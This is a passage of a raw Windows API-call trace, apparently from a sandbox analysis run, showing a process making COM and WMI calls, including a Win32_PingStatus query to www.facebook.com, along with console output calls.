plFlavor=0x22ea5e8*=64) returned 0x0 [0140.707] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.707] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.708] IWbemClassObject:Get (in: This=0x5c50300, wszName="__NAMESPACE", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22ea630*=0, plFlavor=0x22ea634*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x22ea630*=8, plFlavor=0x22ea634*=64) returned 0x0 [0140.708] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.708] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.708] IWbemClassObject:Get (in: This=0x5c50300, wszName="__PATH", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22ea67c*=0, plFlavor=0x22ea680*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x22ea67c*=8, plFlavor=0x22ea680*=64) returned 0x0 [0140.708] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0140.708] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0140.708] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572eab0 | out: puCount=0x572eab0*=0x2) returned 0x0 [0140.708] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572eaac*=0x0, pszText=0x0 | out: puBuffLength=0x572eaac*=0xf, pszText=0x0) returned 0x0 [0140.708] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572eaac*=0xf, pszText="00000000000000" | out: puBuffLength=0x572eaac*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.708] IWbemClassObject:Get (in: This=0x5c50300, wszName="WriteInformationStream", lFlags=0, pVal=0x572eaac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22ea8b8*=0, plFlavor=0x22ea8bc*=0 | out: pVal=0x572eaac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22ea8b8*=0, plFlavor=0x22ea8bc*=0) returned 0x80041002 [0140.708] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x572ea90 | out: pperrinfo=0x572ea90*=0x0) returned 0x1 [0140.709] CoGetClassObject (in: rclsid=0x5c5dd9c*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x572e6f0 | out: ppv=0x572e6f0*=0x5c58748) returned 0x0 [0140.710] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c58748, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x572e908 | out: ppvObject=0x572e908*=0x0) returned 0x80004002 [0140.710] WbemStatusCodeText:IClassFactory:CreateInstance (in: This=0x5c58748, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572e914 | out: ppvObject=0x572e914*=0x5c58798) returned 0x0 [0140.710] WbemStatusCodeText:IUnknown:Release (This=0x5c58748) returned 0x0 [0140.710] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c58798, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572e534 | out: ppvObject=0x572e534*=0x5c58798) returned 0x0 [0140.710] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c58798, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x572e4e8 | out: ppvObject=0x572e4e8*=0x0) returned 0x80004002 [0140.710] WbemStatusCodeText:IUnknown:AddRef (This=0x5c58798) returned 0x3 [0140.710] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c58798, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x572de44 | out: ppvObject=0x572de44*=0x0) returned 0x80004002 [0140.710] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c58798, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x572ddf4 | out: ppvObject=0x572ddf4*=0x0) returned 0x80004002 [0140.710] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c58798, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572de00 | out: ppvObject=0x572de00*=0x0) returned 0x80004002 [0140.711] CoGetContextToken (in: pToken=0x572de60 | out: pToken=0x572de60) returned 0x0 [0140.711] CoGetContextToken (in: pToken=0x572e274 | out: pToken=0x572e274) returned 0x0 [0140.711] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c58798, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572e2f4 | out: ppvObject=0x572e2f4*=0x0) returned 0x80004002 [0140.711] WbemStatusCodeText:IUnknown:Release (This=0x5c58798) returned 0x2 [0140.711] WbemStatusCodeText:IUnknown:Release (This=0x5c58798) returned 0x1 [0140.711] CoGetContextToken (in: pToken=0x572e8f4 | out: pToken=0x572e8f4) returned 0x0 [0140.711] CoGetContextToken (in: pToken=0x572e854 | out: pToken=0x572e854) returned 0x0 [0140.711] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c58798, riid=0x572e924*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppvObject=0x572e920 | out: ppvObject=0x572e920*=0x5c58798) returned 0x0 [0140.711] WbemStatusCodeText:IUnknown:AddRef (This=0x5c58798) returned 0x3 [0140.711] WbemStatusCodeText:IUnknown:Release (This=0x5c58798) returned 0x2 [0140.711] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0x5c58798, hRes=0x80041002, LocaleId=0x0, lFlags=1, MessageText=0x572ea84 | out: MessageText=0x572ea84*="Not found ") returned 0x0 [0140.711] SysStringByteLen (bstr="Not found ") returned 0x14 [0140.713] GetConsoleOutputCP () returned 0x1b5 [0140.713] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572ebb4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572ebb4) returned 0 [0140.713] GetConsoleOutputCP () returned 0x1b5 [0140.713] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572ebb4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572ebb4) returned 0 [0140.713] GetConsoleOutputCP () returned 0x1b5 [0140.713] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572ebb4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572ebb4) returned 0 [0140.714] GetConsoleOutputCP () returned 0x1b5 [0140.714] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572eb94, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572eb94) returned 0 [0140.714] GetConsoleOutputCP () returned 0x1b5 [0140.714] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572eb94, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572eb94) returned 0 [0140.714] GetConsoleOutputCP () returned 0x1b5 [0140.714] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572eb94, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572eb94) returned 0 [0140.714] GetConsoleOutputCP () returned 0x1b5 [0140.714] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572eb94, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572eb94) returned 0 [0140.714] GetConsoleOutputCP () returned 0x1b5 [0140.715] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572eb94, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572eb94) returned 0 [0140.715] GetConsoleOutputCP () returned 0x1b5 [0140.715] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572eb94, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572eb94) returned 0 [0140.715] GetConsoleOutputCP () returned 0x1b5 [0140.715] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572eb94, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572eb94) returned 0 [0140.715] GetConsoleOutputCP () returned 0x1b5 [0140.715] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572eb94, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572eb94) returned 0 [0140.715] GetConsoleOutputCP () returned 0x1b5 [0140.715] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572eb94, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572eb94) returned 0 [0140.715] GetConsoleOutputCP () returned 0x1b5 [0140.716] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572eb94, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572eb94) returned 0 [0140.716] GetConsoleOutputCP () returned 0x1b5 [0140.716] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572eb94, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572eb94) returned 0 [0140.716] GetConsoleOutputCP () returned 0x1b5 [0140.716] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572eb94, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572eb94) returned 0 [0140.716] GetConsoleOutputCP () returned 0x1b5 [0140.716] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572ebb4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572ebb4) returned 0 [0140.716] GetConsoleOutputCP () returned 0x1b5 [0140.717] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572ebb4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572ebb4) returned 0 [0140.717] GetConsoleOutputCP () returned 0x1b5 [0140.717] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572ebb4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572ebb4) returned 0 [0140.717] GetConsoleOutputCP () returned 0x1b5 [0140.717] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572ebb4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572ebb4) returned 0 [0140.717] GetConsoleOutputCP () returned 0x1b5 [0140.717] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572ebb4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572ebb4) returned 0 [0140.717] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x572ec50 | out: lpConsoleScreenBufferInfo=0x572ec50) returned 1 [0140.718] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x572ec48 | out: lpMode=0x572ec48) returned 1 [0140.718] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22eae9c*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x572ec3c, lpReserved=0x0 | out: lpBuffer=0x22eae9c*, lpNumberOfCharsWritten=0x572ec3c*=0x4f) returned 1 [0140.719] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x572ec48 | out: lpMode=0x572ec48) returned 1 [0140.719] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x228e4d4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x572ec3c, lpReserved=0x0 | out: lpBuffer=0x228e4d4*, lpNumberOfCharsWritten=0x572ec3c*=0x2) returned 1 [0140.720] CoGetContextToken (in: pToken=0x572ee4c | out: pToken=0x572ee4c) returned 0x0 [0140.720] IEnumWbemClassObject:Clone (in: This=0x353660, ppEnum=0x572f004 | out: ppEnum=0x572f004*=0x3537f0) returned 0x0 [0140.725] IUnknown:QueryInterface (in: This=0x3537f0, riid=0x6a8135b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572eec0 | out: ppvObject=0x572eec0*=0x3537f4) returned 0x0 [0140.725] IClientSecurity:QueryBlanket (in: This=0x3537f4, pProxy=0x3537f0, pAuthnSvc=0x572ef10, pAuthzSvc=0x572ef0c, pServerPrincName=0x572ef04, pAuthnLevel=0x572ef08, pImpLevel=0x572eef8, pAuthInfo=0x572eefc, pCapabilites=0x572ef00 | out: pAuthnSvc=0x572ef10*=0xa, pAuthzSvc=0x572ef0c*=0x0, pServerPrincName=0x572ef04, pAuthnLevel=0x572ef08*=0x6, pImpLevel=0x572eef8*=0x2, pAuthInfo=0x572eefc, pCapabilites=0x572ef00*=0x1) returned 0x0 [0140.725] IUnknown:Release (This=0x3537f4) returned 0x1 [0140.725] IUnknown:QueryInterface (in: This=0x3537f0, riid=0x6a8135a4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572eeb4 | out: ppvObject=0x572eeb4*=0x3b4404) returned 0x0 [0140.725] IUnknown:QueryInterface (in: This=0x3537f0, riid=0x6a8135b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572eea0 | out: ppvObject=0x572eea0*=0x3537f4) returned 0x0 [0140.725] IClientSecurity:SetBlanket (This=0x3537f4, pProxy=0x3537f0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x4, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0140.734] IUnknown:Release (This=0x3537f4) returned 0x2 [0140.734] WbemLocator:IUnknown:Release (This=0x3b4404) returned 0x1 [0140.734] CoTaskMemFree (pv=0x5c78cb8) [0140.735] IUnknown:AddRef (This=0x3537f0) returned 0x2 [0140.735] CoGetContextToken (in: pToken=0x572e3d0 | out: pToken=0x572e3d0) returned 0x0 [0140.735] CoGetContextToken (in: pToken=0x572e7e4 | out: pToken=0x572e7e4) returned 0x0 [0140.735] IUnknown:QueryInterface (in: This=0x3537f0, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572e77c | out: ppvObject=0x572e77c*=0x3b43ec) returned 0x0 [0140.736] WbemLocator:IRpcOptions:Query (in: This=0x3b43ec, pPrx=0x5c79548, dwProperty=2, pdwValue=0x572e870 | out: pdwValue=0x572e870) returned 0x80004002 [0140.736] WbemLocator:IUnknown:Release (This=0x3b43ec) returned 0x2 [0140.736] CoGetContextToken (in: pToken=0x572edb4 | out: pToken=0x572edb4) returned 0x0 [0140.736] CoGetContextToken (in: pToken=0x572ed14 | out: pToken=0x572ed14) returned 0x0 [0140.736] IUnknown:QueryInterface (in: This=0x3537f0, riid=0x572ede4*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x572ecb0 | out: ppvObject=0x572ecb0*=0x3537f0) returned 0x0 [0140.736] IUnknown:Release (This=0x3537f0) returned 0x2 [0140.736] SysStringLen (param_1=0x0) returned 0x0 [0140.736] IEnumWbemClassObject:Reset (This=0x3537f0) returned 0x0 [0140.739] CoTaskMemAlloc (cb=0x4) returned 0x5c587c8 [0140.739] IEnumWbemClassObject:Next (in: This=0x3537f0, lTimeout=-1, uCount=0x1, apObjects=0x5c587c8, puReturned=0x22eaf80 | out: apObjects=0x5c587c8*=0x5c79be0, puReturned=0x22eaf80*=0x1) returned 0x0 [0140.746] IUnknown:QueryInterface (in: This=0x5c79be0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572e65c | out: ppvObject=0x572e65c*=0x5c79be0) returned 0x0 [0140.746] IUnknown:QueryInterface (in: This=0x5c79be0, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x572e610 | out: ppvObject=0x572e610*=0x0) returned 0x80004002 [0140.746] IUnknown:QueryInterface (in: This=0x5c79be0, riid=0x713c1e84*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x572e438 | out: ppvObject=0x572e438*=0x0) returned 0x80004002 [0140.746] IUnknown:AddRef (This=0x5c79be0) returned 0x3 [0140.746] IUnknown:QueryInterface (in: This=0x5c79be0, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x572df6c | out: ppvObject=0x572df6c*=0x0) returned 0x80004002 [0140.746] IUnknown:QueryInterface (in: This=0x5c79be0, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x572df1c | out: ppvObject=0x572df1c*=0x0) returned 0x80004002 [0140.747] IUnknown:QueryInterface (in: This=0x5c79be0, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572df28 | out: ppvObject=0x572df28*=0x5c79be4) returned 0x0 [0140.747] IMarshal:GetUnmarshalClass (in: This=0x5c79be4, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x572df30 | out: pCid=0x572df30*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0140.747] IUnknown:Release (This=0x5c79be4) returned 0x3 [0140.747] CoGetContextToken (in: pToken=0x572df88 | out: pToken=0x572df88) returned 0x0 [0140.747] CoGetContextToken (in: pToken=0x572e39c | out: pToken=0x572e39c) returned 0x0 [0140.747] IUnknown:QueryInterface (in: This=0x5c79be0, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572e41c | out: ppvObject=0x572e41c*=0x0) returned 0x80004002 [0140.747] IUnknown:Release (This=0x5c79be0) returned 0x2 [0140.747] CoGetContextToken (in: pToken=0x572e984 | out: pToken=0x572e984) returned 0x0 [0140.747] CoGetContextToken (in: pToken=0x572e8e4 | out: pToken=0x572e8e4) returned 0x0 [0140.747] IUnknown:QueryInterface (in: This=0x5c79be0, riid=0x572e9b4*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x572e9b0 | out: ppvObject=0x572e9b0*=0x5c79be0) returned 0x0 [0140.747] IUnknown:AddRef (This=0x5c79be0) returned 0x4 [0140.747] IUnknown:Release (This=0x5c79be0) returned 0x3 [0140.747] IUnknown:Release (This=0x5c79be0) returned 0x2 [0140.747] CoTaskMemFree (pv=0x5c587c8) [0140.747] CoGetContextToken (in: pToken=0x572ecf4 | out: pToken=0x572ecf4) returned 0x0 [0140.747] IUnknown:AddRef (This=0x5c79be0) returned 0x3 [0140.748] CoTaskMemAlloc (cb=0x4) returned 0x5c587c8 [0140.748] IEnumWbemClassObject:Next (in: This=0x3537f0, lTimeout=-1, uCount=0x1, apObjects=0x5c587c8, puReturned=0x22eaf80 | out: apObjects=0x5c587c8*=0x0, puReturned=0x22eaf80*=0x0) returned 0x1 [0140.752] CoTaskMemFree (pv=0x5c587c8) [0141.803] CoTaskMemAlloc (cb=0x4) returned 0x5c587c8 [0141.804] IEnumWbemClassObject:Next (in: This=0x353728, lTimeout=-1, uCount=0x1, apObjects=0x5c587c8, puReturned=0x22bdde4 | out: apObjects=0x5c587c8*=0x0, puReturned=0x22bdde4*=0x0) returned 0x1 [0141.822] CoTaskMemFree (pv=0x5c587c8) [0141.823] CoGetContextToken (in: pToken=0x572ef38 | out: pToken=0x572ef38) returned 0x0 [0141.823] IUnknown:Release (This=0x353728) returned 0x1 [0141.823] IUnknown:Release (This=0x353728) returned 0x0 [0141.839] CoGetContextToken (in: pToken=0x572ef38 | out: pToken=0x572ef38) returned 0x0 [0141.839] IUnknown:Release (This=0x353660) returned 0x1 [0141.839] IUnknown:Release (This=0x353660) returned 0x0 [0141.851] CoGetContextToken (in: pToken=0x572ed24 | out: pToken=0x572ed24) returned 0x0 [0141.851] CoGetContextToken (in: pToken=0x572ec84 | out: pToken=0x572ec84) returned 0x0 [0141.851] CoGetContextToken (in: pToken=0x572ec84 | out: pToken=0x572ec84) returned 0x0 [0141.851] CoUnmarshalInterface (in: pStm=0x3d8298, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x572ec78 | out: ppv=0x572ec78*=0x3b3b94) returned 0x0 [0141.851] CoMarshalInterface (pStm=0x3d8298, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnk=0x3b3b94, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0) returned 0x0 [0141.852] WbemLocator:IUnknown:QueryInterface (in: This=0x3b3b94, riid=0x572ed54*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x572ed50 | out: ppvObject=0x572ed50*=0x5c619e8) returned 0x0 [0141.852] WbemLocator:IUnknown:Release (This=0x3b3b94) returned 0x1 [0141.852] IWbemServices:ExecQuery (in: This=0x5c619e8, strQueryLanguage="WQL", strQuery="Select * from Win32_PingStatus where ((Address='www.facebook.com') And TimeToLive=80 And BufferSize=32)", lFlags=131600, pCtx=0x0, ppEnum=0x572efbc | out: ppEnum=0x572efbc*=0x353660) returned 0x0 [0141.875] IUnknown:QueryInterface (in: This=0x353660, riid=0x6a8135b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572ed84 | out: ppvObject=0x572ed84*=0x353664) returned 0x0 [0141.875] IClientSecurity:QueryBlanket (in: This=0x353664, pProxy=0x353660, pAuthnSvc=0x572edd4, pAuthzSvc=0x572edd0, pServerPrincName=0x572edc8, pAuthnLevel=0x572edcc, pImpLevel=0x572edbc, pAuthInfo=0x572edc0, pCapabilites=0x572edc4 | out: pAuthnSvc=0x572edd4*=0xa, pAuthzSvc=0x572edd0*=0x0, pServerPrincName=0x572edc8, pAuthnLevel=0x572edcc*=0x6, pImpLevel=0x572edbc*=0x2, pAuthInfo=0x572edc0, pCapabilites=0x572edc4*=0x1) returned 0x0 [0141.875] IUnknown:Release (This=0x353664) returned 0x1 [0141.875] IUnknown:QueryInterface (in: This=0x353660, riid=0x6a8135a4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572ed78 | out: ppvObject=0x572ed78*=0x3b3c84) returned 0x0 [0141.875] IUnknown:QueryInterface (in: This=0x353660, riid=0x6a8135b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572ed64 | out: ppvObject=0x572ed64*=0x353664) returned 0x0 [0141.875] IClientSecurity:SetBlanket (This=0x353664, pProxy=0x353660, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x4, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0141.897] IUnknown:Release (This=0x353664) returned 0x2 [0141.897] WbemLocator:IUnknown:Release (This=0x3b3c84) returned 0x1 [0141.897] CoTaskMemFree (pv=0x5c78d78) [0141.897] IUnknown:AddRef (This=0x353660) returned 0x2 [0141.898] CoGetContextToken (in: pToken=0x572e2a4 | out: pToken=0x572e2a4) returned 0x0 [0141.898] CoGetContextToken (in: pToken=0x572e6b4 | out: pToken=0x572e6b4) returned 0x0 [0141.898] IUnknown:QueryInterface (in: This=0x353660, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572e650 | out: ppvObject=0x572e650*=0x3b3c6c) returned 0x0 [0141.898] WbemLocator:IRpcOptions:Query (in: This=0x3b3c6c, pPrx=0x5c594b0, dwProperty=2, pdwValue=0x572e744 | out: pdwValue=0x572e744) returned 0x80004002 [0141.898] WbemLocator:IUnknown:Release (This=0x3b3c6c) returned 0x2 [0141.898] CoGetContextToken (in: pToken=0x572ec84 | out: pToken=0x572ec84) returned 0x0 [0141.898] CoGetContextToken (in: pToken=0x572ebe4 | out: pToken=0x572ebe4) returned 0x0 [0141.898] IUnknown:QueryInterface (in: This=0x353660, riid=0x572ecb4*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, 